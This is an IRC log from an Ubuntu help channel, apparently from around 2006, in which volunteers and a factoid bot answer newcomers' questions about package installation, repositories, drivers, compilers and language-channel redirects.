[08:13] <_jason> how do you say type in spanish?
[08:13] <Tripke> is someone using wifi on ubuntu ( device level one WPC0300 )
[08:13] <juanan> <louwill
[08:13] <polpak> !es
[08:13] <_Felix> :DDD
[08:13] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, alli obtendran mas ayuda.
[08:13] <gnomefreak> linuxboyfriend: i saw it somewhere i just wish im able to tell you where but i know its big on thier llist iirc
[08:13] <_Felix> no idea
[08:13] <juanan> sorry
[08:13] <gnomefreak> now brb
[08:13] <juanan> esk aki me lio
[08:13] <louwill> ok voy pa ubuntu es
[08:13] <juanan> veras no tengo ni idea de linux
[08:14] <juanan> ubuntu es???
[08:14] <_Felix> porvafor
[08:14] <_jason> please only english here.  Spanish in #ubuntu-es
[08:14] <_Felix> #Ubuntu-ES
[08:14] <polpak> please join #ubuntu-es
[08:14] <louwill> vamos pa ubuntu es que nos botaron
[08:14] <juanan> como voy???
[08:14] <_Felix> Vamons, muchachos, mano a mano
[08:14] <juanan> ese es el problema
[08:14] <_Felix> dum dum
[08:14] <_Felix> je ne comprend!
[08:14] <kbrooks> why is the ubuntu site down?
[08:14] <_Felix> KICK HIM!!!
[08:14] <louwill> right click en #ubuntu-es
[08:14] <_Felix> lol
[08:15] <_Felix> alguien paste a screenshot :D
[08:15] <ubuntu_kip> can someone help me
[08:15] <_Felix> or a video
[08:15] <Jhair> juanan, don't write in spanish, stop
[08:15] <jke> now, let the transfer of my gnometris scores begin :P
[08:15] <GlemSom> Anyone know how to install WINE under Ubuntu 64bit?
[08:15] <cors> kbrooks: The Ubuntu site isn't down from here
[08:15] <_jason> ubuntu_kip: just ask, if someone knows they will try :)
[08:15] <juanan> ey please i need help
[08:15] <O_Rei_do_Gado> polpak what is  contrib module in postgree instalation?
[08:15] <Jhair> juanan: go to #ubuntu-es
[08:16] <ubuntu_kip> how can 8i transfer the preference of ubuntu to a otjher ubuntu
[08:16] <juanan> i am spanish and i don not want to speak in other language
[08:16] <_Felix> and you'd like a kicK?
[08:16] <_jason> juanan: write this: /join #ubuntu-es
[08:16] <HymnToLife> !es
[08:16] <polpak> juanan, that's fine. join the ubuntu-es channel
[08:16] <ubotu> Hispanohablantes: Por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, alli obtendran mas ayuda.
[08:16] <juanan> where???
[08:16] <_Felix> l o  l
[08:16] <Jhair> *sigh*
[08:16] <_jason> juanan: same place your wrote ``where???''
[08:16] <nickrud> !es
[08:16] <HymnToLife> juanan> type /join #ubuntu-es
[08:16] <juanan> ahmmm
[08:16] <juanan> jajaja
[08:16] <juanan> sorry
[08:16] <juanan> well thanks
[08:16] <ubuntu_kip> juanan youve been told to go to the espagnol chan
[08:16] <juanan> sorry
[08:16] <_Felix> you shouldnt be using linux if you dont know how to use irc client.. . ;)
[08:17] <kingspawn> ubuntu_kip: with great hassle, i would believe. probably easier to just set it up the way you like
[08:17] <ikaros> =)
[08:17] <juanan> #ubuntu-es
[08:17] <polpak> juanan,  you forgot the /join
[08:17] <louwill> dont believe it
[08:17] <ubuntu_kip> king it beacuse im formating it
[08:17] <nickrud> _Felix: now wait a minute, I ran linux for 4 years before I ever opened an irc client ;)
[08:17] <truz24> polpak, ever get the feeling he is just messing around?
[08:17] <polpak> truz24, yes
[08:17] <dozah> well ive made a partition for linux with partition magic and now im tryin to install ubuntu.
[08:17] <dozah> .i come to the partition and formatin side and it says...no root file system defined
[08:17] <g0dchild> Hi, what am I getting this error? "dpkg: parse error, in file `/var/lib/dpkg/status' near line 23911 package `karamba':
[08:17] <_Felix> =D
[08:17] <g0dchild>  missing version
[08:17] <g0dchild> "
[08:18] <jke> could anybopdy have an idea why there are some files i cant copy? they all ahve some "not normal" ext. like .dll or .acm
[08:18] <_Felix> i cant connect to the internet with my WinModem!!!
[08:18] <sEbaKiLLeR> hi!
[08:18] <_Felix> tried LOADS of stuff... :(
[08:18] <kbrooks> _Felix, don't use them.
[08:18] <ubuntu_kip> cd burner
[08:18] <g0dchild> darn...i am sorry bout the extra lines- :(
[08:18] <_Felix> it's silly... :(
[08:18] <polpak> dozah, you need to choose a partition to mount to /
[08:18] <O_Rei_do_Gado> polpak: what is  contrib modules during in postgree instalation?
[08:18] <HedgeMage> _Felix: very few of them will work under Linux, and only after lots of headbangig
[08:18] <gnomefreak> jke: what do you mean they have .dll? .dll isnt for linux
[08:19] <ubuntu_kip> why my cursor beacame black
[08:19] <sEbaKiLLeR> somebody can help me with nvidia drivers??
[08:19] <_Felix> sm56
[08:19] <ktogias> Hi, is there any tool or recomended way to download updates for breezy from a pc with different os in order to update a breezy system with no internet access?
[08:19] <_jason> ubuntu_kip: tell sEbaKiLLeR about nvidia
[08:19] <g0dchild> so how bout it everyone? why am i getting this dpkg error about some parse line?
[08:19] <dozah> polpak well what should i choose ? journalsomething filesystem ext3 ?
[08:19] <g0dchild> cant I force it to install azureus?
[08:19] <_jason> ubuntu_kip: tell g0dchild about azureus
[08:19] <leku_> hey how do I change my resolution in xorg?
[08:20] <_Felix> The problem is i have gcc 4, and hack compiles at 3 and 2. :/
[08:20] <_jason> ubuntu_kip: tell leku_ about fixres
[08:20] <ubuntu_kip> eerr
[08:20] <gnomefreak> g0dchild: dont force it read the instructions for it
[08:20] <leku_> I changed everything that said 1024x768 to 1280x1024 and restarted X
[08:20] <g0dchild> _jason, - heh. i am following those instructions. :)
[08:20] <_jason> oops
[08:20] <_jason> ubuntu_kip: you aren't ubotu :)
[08:20] <sEbaKiLLeR> simply i cant install the drivers!
[08:20] <gnomefreak> _Felix: sudo apt-get isntaoo gcc-3.4
[08:20] <leku_> but xdpyinfo says i'm still in 1024x768
[08:20] <g0dchild> alright...lemme see if i missed anyth
[08:20] <_jason> ubotu: tell leku_ about fixres
[08:20] <mephis1987> hello
[08:20] <leku_> thx
[08:20] <ubuntu_kip> !fixres
[08:20] <mephis1987> i cant configure my source file
[08:20] <ubotu> Please read http://wiki.ubuntu.com/FixVideoResolutionHowto
[08:20] <tale_> leku_, you can select it from the preferences->screen resolution section
[08:20] <ubuntu_kip> !azerus
[08:21] <ubotu> ubuntu_kip: Did you get hit by a windmill? Try searching at http://ubuntu.cc.com.au/
[08:21] <_jason> ubuntu_kip: maybe you are...
[08:21] <gnomefreak> g0dchild: did you install java first and did you use update-altenatives?
[08:21] <dozah> well what should i choose ? journalsomething filesystem ext3 ?
[08:21] <ubuntu_kip> !nvidia
[08:21] <ubotu> I guess nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia or http://ubuntuforums.org/showthread.php?t=57368
[08:21] <leku_> i'm so dissapointed that i upgraded to dapper
[08:21] <gnomefreak> alternitives even
[08:21] <ubuntu_kip> here you go
[08:21] <_jason> ubuntu_kip: sorry about that :)
[08:21] <mephis1987> !configure
[08:21] <ubotu> mephis1987: I give up. Try searching at http://ubuntu.cc.com.au/
[08:21] <_jason> sEbaKiLLeR: see nvidia link above^
[08:21] <sEbaKiLLeR> ok
[08:21] <sEbaKiLLeR> ty
[08:21] <ron_> mbr gone help please :/
[08:22] <g0dchild> gnome-freak- nope- not that i know of...although i am downloading the upgrades right now-
[08:22] <ubuntu_kip> jason no prob
[08:22] <jke> gnomefreak: well, i can have dll's anyway :)
[08:22] <gnomefreak> g0dchild: you have to install java first before you can install that
[08:22] <xcel> hi!
[08:23] <g0dchild> gnomefreak, could it be the version- i am still using 5.04
[08:23] <xcel> i've got a prob... when i "apt-get install fluxbox" or ftpd or whatever it doesn'ot work
[08:23] <gnomefreak> jke: yes you can have .dlls but ubuntu doesnt support .dll for anything
[08:23] <xcel> my friend told me to: ask in #ubuntu on freenode for better repositories
[08:23] <Tomcat_> gnomefreak: xine does. ;D
[08:23] <gnomefreak> xcel: what is the error?
[08:23] <jke> gnome-freak: I think i used them to some rdriver issue... og wine? dont really remember
[08:23] <xcel> gnomefreak, "can fint the package"
[08:23] <xcel> *find
[08:23] <nickrud> !tell xcel about repos
[08:24] <g0dchild> alright- gnomefreak  - thanks. see ya round later
[08:24] <_Felix> repositories
[08:24] <gnomefreak> Tomcat_: the only package in ubuntu that has .dll is the codecs and they are not supported by ubuntu
[08:24] <Tomcat_> gnomefreak: Yep.
[08:24] <xcel> !easysource
[08:24] <ubotu> For an easy to use custom sources.list creator, visit http://ubuntulinux.nl/source-o-matic
[08:25] <nickrud> xcel: a good method for sources
[08:25] <jort> hello i'm new
[08:25] <jaye> is there a way to upgrade to the drake from a breezy install using apt-get?
[08:25] <Fawzib> I have a question about start-stop-daemon. I'm running a java programs as a daemon and I want the stdout to be redirected to a file, im using 'start-stop-daemon --quiet --background --start --exec APP -- PARAM1 PARAM2 > logfile 2>&1' but it isnt working. How should I do it?
[08:25] <FlimFlamMan> so.....  could someone explain to me what "bling" is in the Ubuntu context?
[08:25] <jort> anybody know how to open a .run file?
[08:25] <_jason> jaye: yes, do you know dapper is still in development?
[08:25] <gnomefreak> jort: sh file.run
[08:25] <nickrud> jaye: replace breezy with dapper in /etc/apt/sources.list , then apt-get update apt-get dist-upgrade
[08:26] <jort> in terminal?
[08:26] <linuxboyfriend> gnomefreak: how can i associate different extensions in gnome to different softwares?
[08:26] <gnomefreak> jort: yes
[08:26] <jort> thx m8
[08:26] <gnomefreak> linuxboyfriend: explain
[08:26] <ron_> mbr gone help please :/
[08:26] <gnomefreak> jort: yw
[08:26] <jaye> _jason: yes I just don't feel like starting from scratch with one of my testing boxes
[08:26] <gnomefreak> ubotu tell ron_ about grub
[08:26] <_jason> ubotu: tell jaye about upgrade
[08:26] <jaye> nickrud: thank you
[08:26] <sEbaKiLLeR> thank u very much!!!
[08:26] <gnomefreak> jaye: use the upgrade tool please
[08:26] <gnomefreak> !upgrade
[08:26] <ubotu> Upgrading to Ubuntu 5.10 breezy -> http://wiki.ubuntu.com/BreezyUpgrade.  Upgrading to dapper (remember it may break). Please test the dist-upgrader -> https://lists.ubuntu.com/archives/ubuntu-devel/2006-January/014700.html.
[08:26] <_jason> jaye: you can test the upgrader or follow the same instructions as the breezy upgrade (but replace breezy with dapper of course)
[08:27] <jaye> _jason: thanks
[08:27] <nickrud> I didn't know the upgrade factoid had changed ;(
[08:27] <Fawzib> anyone?
[08:27] <linuxboyfriend> gnomefreak: when i click a .rm file it tries to open with totem but i wanna open it with realplayer, this mostly happens when i try to play my intenet radio
[08:28] <Jhair> Fawzib: what do you mean isn't working. I tried it now and got the log file...
[08:28] <xcel> what shall i do with deb http://archive.ubuntu.com/ubuntu breezy main restricted ? i'm i really noob, thoght it was to just apt-get everthing :-(
[08:28] <Absenth> which nvidia driver is currently in apt?
[08:28] <jke> have nobody else gotten the "unsupported operation while copying: xxxxx" using nautilus?
[08:28] <Fawzib> u did? i only get an empty file
[08:28] <Jhair> Fawzib: which daemon are you trying to start?
[08:28] <gnomefreak> linuxboyfriend: right click the file got o properties you should beable to change what it opens with in there
[08:28] <jort> jort@asus:~$ sh ./home/jort/Desktop/downloads/et-linux-2.55.x86.run
[08:28] <jort> sh: ./home/jort/Desktop/downloads/et-linux-2.55.x86.run: Unknown file of map
[08:28] <Fawzib> cocoon
[08:28] <nickrud> xcel: leave that be; remove the # from lines 19 & 20, and add multiverse to the ends of those lines
[08:28] <Lutany> file ./home/jort/Desktop/downloads/et-linux-2.55.x86.run
[08:28] <gnomefreak> jort: sh foo.run just the file name.run
[08:28] <Jhair> Fawzib: what does the log file where you redirected output say?
[08:29] <Fawzib> is always empty
[08:29] <jort> but the file is in a map on the desktop
[08:29] <linuxboyfriend> gnomefreak: isn't there any module about it in control-centre or somewhere else?
[08:29] <gnomefreak> jort: cd Desktop than cd fileondesktop than sh file.run
[08:29] <Fawzib> Jhair: and I know cocoon prints stuff when you start it
[08:29] <wastrel> whole lot of nothing
[08:30] <gnomefreak> linuxboyfriend: not sure my ubuntu doesnt come with a control ceter that i have seen
[08:30] <rambo3> its better to change ff to save hiles in user map
[08:30] <obli> is there any way of making the ctrl-alt combinations workas "alt Gr"  under ubuntu?
[08:30] <andre> have you guys tried 6.10 dapper yet
[08:30] <gnomefreak> andre: no such thing
[08:30] <gnomefreak> andre: 6.04
[08:31] <andre> dapper drake
[08:31] <Absenth> andre: it
[08:31] <wastrel> obli:  system > preferences > keyboard shortcuts   maybe
[08:31] <Absenth> 's "Installed" in a vmware virtual machine,  that's as far as I've gotten.
[08:31] <linuxboyfriend> ok
[08:31] <gnomefreak> andre: yes im using it
[08:31] <obli> they're not shortcuts, though
[08:31] <wastrel> some are
[08:31] <gnomefreak> obli: i think you have to make them
[08:31] <andre> how  is it
[08:31] <kingspawn> i have a question: is there any way to turn OFF graphical boot up?
[08:31] <gnomefreak> andre: can we please take this to #ubuntu+1
[08:31] <obli> on the swedish keyboard, @ is ctrl-alt-2, or alt gr-2
[08:31] <jort> thx u triggered a switch in my brain to run it :D
[08:31] <andre> sure
[08:32] <gnomefreak> ty andre
[08:32] <obli> so I have to make shortcuts for every single symbol that uses ctrl-alt combinations?
[08:33] <wastrel> kingspawn:  remove the "splash" boot optoin from your kernel line in /boot/grub/menu.lst
[08:33] <nickrud> obli: sys-pref-keyboard , tab layout options
[08:33] <Jhair> Fawzib: are you running the command with sudo?
[08:33] <jke> any way i can copy files over ssh instead? (i am still running from the live cd)
[08:34] <wastrel> jke:  scp or sftp
[08:34] <Fawzib> Jhair: nope init script, it runs but the console.log file is always empty
[08:34] <Jhair> Fawzib: I just tried sudo start-stop-daemon --background --stop --exec `which apache` it works
[08:34] <Eubey> can someone tellme how to install emacs or any other php editor?
[08:34] <wastrel> jke:  scp source destination    for files on a remote host,  user@host:filename  (relative to homedir of user)
[08:34] <Fawzib> Jhair: let me check then...
[08:34] <Tripke> hello
[08:34] <Tripke> common_functions.php 158 /usr/bin/mbmon InitMBInfo: Operation not permitted This program needs "setuid root"!!
[08:34] <Tripke> what to i need to do ?
[08:35] <Tripke> its phpsysinfo ...
[08:35] <jke> wastrel: thanks!
[08:35] <nickrud> Eubey: sudo aptitude install emacs21
[08:35] <jke> wastrel: does it work for a dir also?
[08:35] <Jhair> Fawzib: cocoon is a java application isn't it?
[08:35] <Tripke> hello
[08:35] <Tripke> common_functions.php 158 /usr/bin/mbmon InitMBInfo: Operation not permitted This program needs "setuid root"!!
[08:35] <Tripke> what to i need to do ?
[08:35] <Tripke> its phpsysinfo ...
[08:36] <wastrel> jke:  no, you should tar up the file first
[08:36] <wastrel> er, the dir
[08:36] <ubuntu_kip> damn
[08:36] <Jonnings> Do any one know how to allow nordic characters in the XMMS playlist?
[08:36] <Fawzib> Jhair: yes, it is working but I wanted the stdout redirected, let me do some tests
[08:36] <ubuntu_kip> cant copy on my laptop
[08:36] <ubuntu_kip> it wont copy
[08:37] <obli> nickrud, there doesn't seem to be anything there about making leftctrl+leftalt = alt gr
[08:37] <Hoxzer> guys guys
[08:37] <Hoxzer> I cannnot open files in sftp server?
[08:37] <ubuntu_kip> FUCK
[08:37] <Hoxzer> how can I do it?
[08:37] <Tripke> chown it
[08:37] <Tripke> hello
[08:37] <Tripke> common_functions.php 158 /usr/bin/mbmon InitMBInfo: Operation not permitted This program needs "setuid root"!!
[08:37] <Tripke> what to i need to do ?
[08:38] <Tripke> its phpsysinfo ...
[08:38] <ubuntu_kip> Ill need windows
[08:38] <nickrud> obli: I know, but there are some other options there; you could read up on xkb (I find it hard going)
[08:38] <obli> oh, ok
[08:39] <mephis1987> hello
[08:39] <mephis1987> how can i get this : libg++2.8.1.3-glibc2.2
[08:39] <ubuntu_kip> is there the lexmark prog on linux
[08:39] <mephis1987> this package libg++2.8.1.3-glibc2.2
[08:39] <Tripke> mephis1987: apt-get install file
[08:39] <mephis1987>  how can i get it
[08:39] <obli> Are there any regional ubuntu channels?
[08:39] <mephis1987> i cant find it in synaptic
[08:39] <nalioth> ubuntu_kip: let us watch our language, please
[08:39] <ubuntu_kip> srry
[08:40] <Tripke> hello
[08:40] <Tripke> common_functions.php 158 /usr/bin/mbmon InitMBInfo: Operation not permitted This program needs "setuid root"!!
[08:40] <Tripke> what to i need to do ?
[08:40] <Tripke> its phpsysinfo ...
[08:40] <ubuntu_kip> is there the lexmark prog on linux
[08:40] <mephis1987> Tripke, i tried but it said no package foudn
[08:40] <NoWhereMan[away] > hi all
[08:40] <orangehaw> obli, check /list
[08:40] <Tripke> mephis1987: apt-cache search
[08:40] <NoWhereMan[away] > any suggestion for a linux game like age of empire (apart from freeciv)
[08:40] <NoWhereMan[away] > ?
[08:40] <NoWhereMan[away] > :)
[08:40] <smog> Does ubuntu come with ssh installed?
[08:40] <Eubey> when i try to install emacs21 it says unmet dependencies emacs21-in-common
[08:40] <HedgeMage> ubuntu_kip: lexmark laser printers are very well-supported under linux, their inkjet printers are generally poorly or not supported under linux
[08:41] <mephis1987> Tripke, nothing found :9
[08:42] <nickrud> Eubey: um, I don't show that package, did you copy the name wrong?
[08:42] <ubuntu_kip> hedge that means that ill need windows
[08:42] <bimberi> smog: client yes, server no (install the ssh package for that)
[08:43] <linuxcrazy> I have this problem with Ubuntu. I get his message when I try to install this package called gxine. I get this "c compiler cannot create executables in $PATH. What does this mean?
[08:43] <HappyFool> emacs21-bin-common, probably
[08:43] <smog> How would I intall the ssh package?
[08:43] <smog> apt-get install ssh-server?
[08:43] <bimberi> linuxcrazy: install build-essential, although gxine is available inthe ubuntu repositories
[08:43] <bimberi> smog: sudo aptitude install ssh
[08:43] <Tripke> mephis1987: lol
[08:43] <linuxcrazy> I'm pretty much of a noob so try to be as strupid as you can
[08:43] <Tripke> apt-cache search g++2.8.1
[08:44] <ubuntu_kip> can ubuntu rn on mac?
[08:44] <linuxcrazy> stupid*
[08:44] <Tripke> ubuntu_kip: ye
[08:44] <arrinmurr> is there some kind of autostart directory in gnome? the same way kde has ~/.kde/Autostart?
[08:44] <nickrud> if that's so, Eubey's sources need work
[08:44] <linuxcrazy> wait, so what do I do?
[08:44] <ubuntu_kip> i have a g3
[08:44] <ubuntu_kip> the blue one
[08:44] <bimberi> !info gxine
[08:44] <ubotu> gxine: (the xine video player, GTK+/Gnome user interface), section universe/graphics, is optional. Version: 0.4.4-0ubuntu5 (breezy), Packaged size: 247 kB, Installed size: 664 kB
[08:44] <ubuntu_kip> !mac
[08:44] <ubotu> ubuntu_kip: What? Try searching at http://ubuntu.cc.com.au/
[08:45] <bimberi> linuxcrazy: you need to enable the universe repository and then use synaptic to find and install gxine
[08:45] <Eubey> it says emacs21-nox: Depends: emacs21-bin-common
[08:45] <bimberi> !tell linuxcrazy about synaptic
[08:45] <Jhair> arrinmurr: System->Preferences->Sessions->Startup Programs
[08:45] <bimberi> !tell linuxcrazy about universe
[08:45] <ubuntu_kip> good bye linux ;_;
[08:45] <arrinmurr> Jhair: thank you
[08:45] <aarkerio> Hi!    has Dapper NTFS write support?
[08:45] <gnomefreak> Eubey: does it ask if you would like to continue?
[08:46] <gnomefreak> aarkerio: dapper please try #ubntu+1
[08:46] <ubuntu_kip> now how do i format that partion? to fat or ntfs
[08:46] <Eubey> nope, says E: unableto correct problems, you have held bken packages.
[08:46] <nickrud> Eubey: could you post your /etc/apt/sources file on paste.ubuntu-nl.org ?
[08:46] <xcel> hey!!! onyone can helt me with a noob thing, "sudo apt-get install ftpd" doesn't work.. how do i install it?
[08:46] <aarkerio> Hi!    has Breezy NTFS write support?
[08:46] <bimberi> aarkerio: the dapper install offers it.  But *shudder* :)
[08:46] <Eubey> kk i will try
[08:46] <gnomefreak> aarkerio: no
[08:46] <gnomefreak> aarkerio: i wouldnt try it just yet on dapper either
[08:47] <aarkerio> need I compile the kernel?
[08:47] <nickrud> xcel: please put your /etc/sources.list on  paste.ubuntu-nl.org
[08:47] <nickrud> xcel: */etc/apt/sources.list
[08:47] <linuxcrazy> I dont't want to use sysnaptic. I want to learn how to compile from a terminal.
[08:47] <gnomefreak> aarkerio: for what? what are you trying to do?
[08:47] <xcel> nickrud, ive checked that and its like two lines
[08:47] <_jason> ubuntu_kip: tell linuxcrazy about compile
[08:47] <_jason> argh
[08:47] <Falstius> linuxcrazy: check out LFS ...
[08:47] <gnomefreak> linuxcrazy: why not just install from terminal
[08:47] <nickrud> xcell, there should be a 30-40 lines
[08:47] <_jason> ubotu: tell linuxcrazy about compile
[08:47] <bimberi> linuxcrazy: ok, 'sudo aptitude install gxine'  (once you enable universe)
[08:47] <HappyFool> compiling is highly overrated
[08:48] <Fawzib> Jhair: ok, if I remove the --background option it works, but I need that option
[08:48] <linuxcrazy> I want to learn how to compile.
[08:48] <Eubey> nickrud: how do i paste it there?
[08:48] <nalioth> linuxcrazy: look to your priv msgs
[08:48] <linuxcrazy> where are my private messages?
[08:48] <xcel> nickrud, deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386
[08:49] <bimberi> linuxcrazy: check that 'compile' factoid from ubotu then
[08:49] <xcel> (20051012)] / breezy main restricted
[08:49] <nickrud> Eubey: open http://paste.ubuntu-nl.org , then in a terminal, type gksudo gedit /etc/apt/sources.list Cut and paste to the pastebin
[08:49] <gnomefreak> xcel: use pastebin please
[08:49] <neri_> hi
[08:50] <neri_> testing first irc connection with ubuntu
[08:50] <nickrud> xcel: replace all that with  http://paste.ubuntu-nl.org/6047
[08:50] <linuxcrazy> wherea are my private messages?
[08:50] <gnomefreak> linuxcrazy: what app are you using?
[08:51] <linuxcrazy> um this IRC on bmkfolding.com
[08:51] <nickrud> Eubey: um copy & paste :)
[08:51] <gnomefreak> never heard of that sorry
[08:51] <Eubey> nickrud: kk its done
[08:51] <bimberi> nickrud: does "gksudo gedit /etc/apt/sources.list" work properly for you in breezy?  For me it opens an empty file called sources.list'  (note the quote).  Seems to be an issue with gksudo. Fine in dapper though
[08:51] <linuxcrazy> where do I check my private messages on this irc?
[08:51] <linuxboyfriend> gnomefreak: how can i set my gcc to gcc-3.4?
[08:52] <gnomefreak> linuxboyfriend: did you install gcc3.4?
[08:52] <nickrud> bimberi: I'm on dapper, but don't remember that happening
[08:52] <linuxboyfriend> gnomefreak: yes
[08:52] <linuxcrazy> I dop have gcc installed yes.
[08:52] <linuxcrazy> x the p
[08:52] <theine> linuxboyfriend: what do you want to compile?
[08:52] <linuxcrazy> gxine
[08:52] <ubuntu_kip> hoiw do i install it on mac
[08:52] <gnomefreak> ok nickrud  might beable to help me with this its export_CC=gcc3.4 right?
[08:53] <Eubey> nickrud: i put it on that site
[08:53] <linuxcrazy> i get teh same message with everything I compile
[08:53] <linuxboyfriend> i have installed both gcc 3.4 and 4.0 but i want my system to use gcc-3.4
[08:53] <nickrud> Eubey: remove lines 39, 41, & 43 ; uncomment (remove the #) from lines 19 & 20 , then add multiverse to the ends of lines 19 & 20
[08:53] <theine> linuxcrazy: try "export CC=gcc-3.4" before running ./configure
[08:53] <linuxcrazy> ok
[08:53] <pjz> you don't have to export it
[08:53] <pjz> you can just put it on the same line
[08:53] <gnomefreak> linuxboyfriend: thats the command that theine just posted
[08:53] <pjz> CC=gcc-3.4 ./configure
[08:53] <nickrud> gnomefreak: I think all of gnome is compiled with gcc4 , beagle probably should be as well. I may be mistaken
[08:54] <bimberi> nickrud: kk (works fine with sudo btw, seems to be something with gksudo)
[08:54] <gnomefreak> nickrud: breezy kernel was compiled with 3.4  i dont know what they are compiling
[08:54] <nickrud> gnomefreak: yeah, gcc-3.4 for anything kernel,  beable <-- I read that as beagle :)
[08:54] <ubuntu_kip> hoiw do i install ubuntu on mac
[08:54] <gnomefreak> build-essential has always worked for me
[08:55] <gnomefreak> lol
[08:55] <ubuntu_> sweet
[08:55] <ubuntu_> unubtu live cd!!
[08:55] <gnomefreak> ubuntu_: put the mac iso cd in and boot to cdrom
[08:55] <nickrud> bimberi: ah, the old gksudo/sudo shuffle :)
[08:55] <shiggity> ^_^
[08:55] <Eubey> nickrud: how can i tell which lines r which
[08:56] <jemt> Greetings. I have just reinstalled Ubuntu and are now trying to install Java 1.5. Earlier I did it by doing 'apt-get install sun-j2re1.5' - but the package is no longer available - so I guess I'm missing a repository in my souces.list file. Can anyone help me?
[08:56] <nickrud> Eubey: the page you posted on paste.ubuntu-nl.org has the line numbers
[08:56] <truz24> Are there any known reasons for Mysql 5 not being on the ubuntu repositories?
[08:56] <jemt> !java
[08:56] <gnomefreak> jemt: it never was avalible in ubuntu
[08:56] <ubotu> To install Java/Sun Java see Java on https://wiki.ubuntu.com/RestrictedFormats and also see !javadebs
[08:56] <bimberi> nickrud: that was a Boz Scaggs (sp) song wasn't it? :)
[08:56] <gnomefreak> ubotu tell jemt about javadebs
[08:56] <nickrud> rflol
[08:56] <jemt> gnomefreak: Well, as I said, I probably added a repository
[08:56] <arrinmurr> jemt: http://users.lichtsnel.nl/~seveas/dists/breezy-seveas/java/
[08:57] <nickrud> bimberi spells good
[08:57] <Zarephath> Hey can anyone shed some light on how old a GeForce6200 TC is? I am not sure if I need to use the legacy drivers or the new ones?
[08:57] <jemt> arrinmurr: Checking :)
[08:57] <bimberi> nickrud: ta
[08:57] <theine> truz24: it is in the Dapper repositories
[08:57] <truz24> but dapper isn't in production
[08:57] <gnomefreak> yes it is it just hasnt been released
[08:57] <theine> truz24: no, you'd have to wait, but maybe there's a backport somewhere
[08:58] <gnomefreak> theine: not yet
[08:58] <truz24> is dapper strong?
[08:58] <truz24> or are there tons of bugs?
[08:58] <HappyFool> ducks... err, dragons are known for their strength
[08:58] <gnomefreak> truz24: compared to redhat always
[08:58] <Zarephath> gnomefreak: Is XGL enabled upon in install with Flight 5?
[08:58] <G0SUB> truz24: very strong
[08:58] <savon> !past
[08:58] <gnomefreak> Zarephath: no
[08:58] <ubotu> No idea, try searching at http://ubuntu.cc.com.au/, savon
[08:58] <Zarephath> *install*
[08:58] <pinkisntwell> will we get gnome 2.14 on breezy?
[08:58] <savon> !paste
[08:58] <ubotu> Don't flood the channel! Please use the pastebin at http://paste.ubuntu-nl.org/ or the channel #flood to paste large amount of text.
[08:58] <gnomefreak> thank goodness :)
[08:59] <gnomefreak> pinkisntwell: hasnt been backported yet havent heard either way
[08:59] <pab32> does ubuntu have usb drive issues?
[08:59] <nickrud> Eubey: I pasted the changes you should make; http://paste.ubuntu-nl.org/10352
[08:59] <pinkisntwell> gnomefreak: thanks
[08:59] <Zarephath> pab32: Probably not...
[08:59] <linuxcrazy> ok here it is verbatum "c compiler cannot create executables"
[08:59] <bimberi> linuxboy: sudo aptitude install buld-essential
[08:59] <ubuntu_kip> hoiw do i install ubuntu on mac
[08:59] <savon> I can=t install things!
[08:59] <savon> http://paste.ubuntu-nl.org/10353
[08:59] <gnomefreak> linuxcrazy: sudo apt-get install build-essential
[08:59] <_jason> linuxcrazy: install build-essential
[08:59] <Jelte> hiya guys.... the network led's on my machine are blinking away and in network tools i can see data going in and out.. but I'm not doing anything... could my machine be compromized? and if so how can i check?  how can i see what process is sending / receiving data?
[08:59] <Zarephath> Ubuntu is the ONLY distro I have installed and use that works completely as it should from install to work
[09:00] <savon> whats wrong?
[09:00] <ubuntu_kip> hoiw do i install ubuntu on mac on a g3
[09:00] <ftg2> truz24: its not "debian stable".. if you have used a debian sid installation before you know what to expect
[09:00] <Zarephath> Jelte: Look in /var/log
[09:00] <theine> savon: what's the command that gave you those error messages?
[09:00] <tristanmike> ubuntu_kip, you need the PPC install iso
[09:00] <pab32> cannot boot ubuntu, stops at when loading hotplug. any ideas?
[09:00] <bimberi> linuxboy: don't worry about the GCC=gcc-3.4 stuff, that was for linuxboyfriend (a case of mistaken identity due to nick proximity :) )
[09:00] <_jason> savon: sudo apt-get update
[09:00] <gnomefreak> savon: can you try for the whole error?
[09:00] <nickrud> Jelte: you can see what connections you have open with netstat -t ; also sudo netstat -tlp tells you what services you have listening for connections
[09:01] <Jelte> thanks guys!
[09:01] <linuxcrazy> install what?
[09:01] <gnomefreak> build-essential
[09:01] <Zarephath> pab32: Well try passing kernel params at boot...my machine needs the "noapic" on the line with the default boot kernel
[09:01] <linuxcrazy> tell me again how to install it?
[09:01] <bimberi> linuxboy: sudo aptitude install buld-essential
[09:01] <gnomefreak> linuxcrazy: sudo apt-get install build-essetial
[09:01] <linuxcrazy> ok
[09:01] <pab32> thanks man
[09:01] <_jason> linuxcrazy: use gnomefreak command, bimberi made a type :)
[09:01] <savon> gnomefreak: What do you meane?
[09:02] <_jason> typo*
[09:02] <Yokalosh> has anyone managed to set up two monitors on a nvidia geforce fx 5200 twin head?
[09:02] <gnomefreak> savon: i mean run sudo apt-get update and paste what the full  windows says
[09:02] <Zarephath> Pab32: Another more common problem is with ACPI..so pass acpi=off if the noapic option doesn't work for you
[09:02] <azurehuesofblue> Yokalosh... wondering same thing
[09:02] <gnomefreak> in pastebin please
[09:02] <savon> Okey!
[09:02] <bimberi> _jason: gah, thanks for the catch, and lol for the irony :P
[09:02] <linuxcrazy> haha gnomefreak also made a typo
[09:03] <Yokalosh> azurehuesofblue: :(
[09:03] <_jason> linuxcrazy: ha yes he did
[09:03] <gnomefreak> lol
[09:03] <gnomefreak> sudo apt-get install build-essential
[09:03] <linuxcrazy> it's not essetial
[09:03] <gnomefreak> i know
[09:03] <gnomefreak> :(
[09:03] <Yokalosh> i need it bad, at the moment on my second screen its just a bunch of jumbled junk
[09:03] <linuxcrazy> sorry
[09:03] <bimberi> the problem is we all race each other to type it
[09:03] <Yokalosh> but i do have 'something' which is a start ;)
[09:03] <linuxcrazy> here I go.
[09:04] <jemt> How do I set another Virtual Machine as the prefered Java Intepretor in Ubuntu? I think I can do it using dpkg-reconfigure or something like that. It should be pretty simple
[09:04] <_jason> !multijava
[09:04] <ubotu> from memory, multijava is to try to set which java is used, run "sudo update-alternatives --config java"
[09:04] <theine> jemt: use update-alternatives
[09:04] <theine> ah, nice
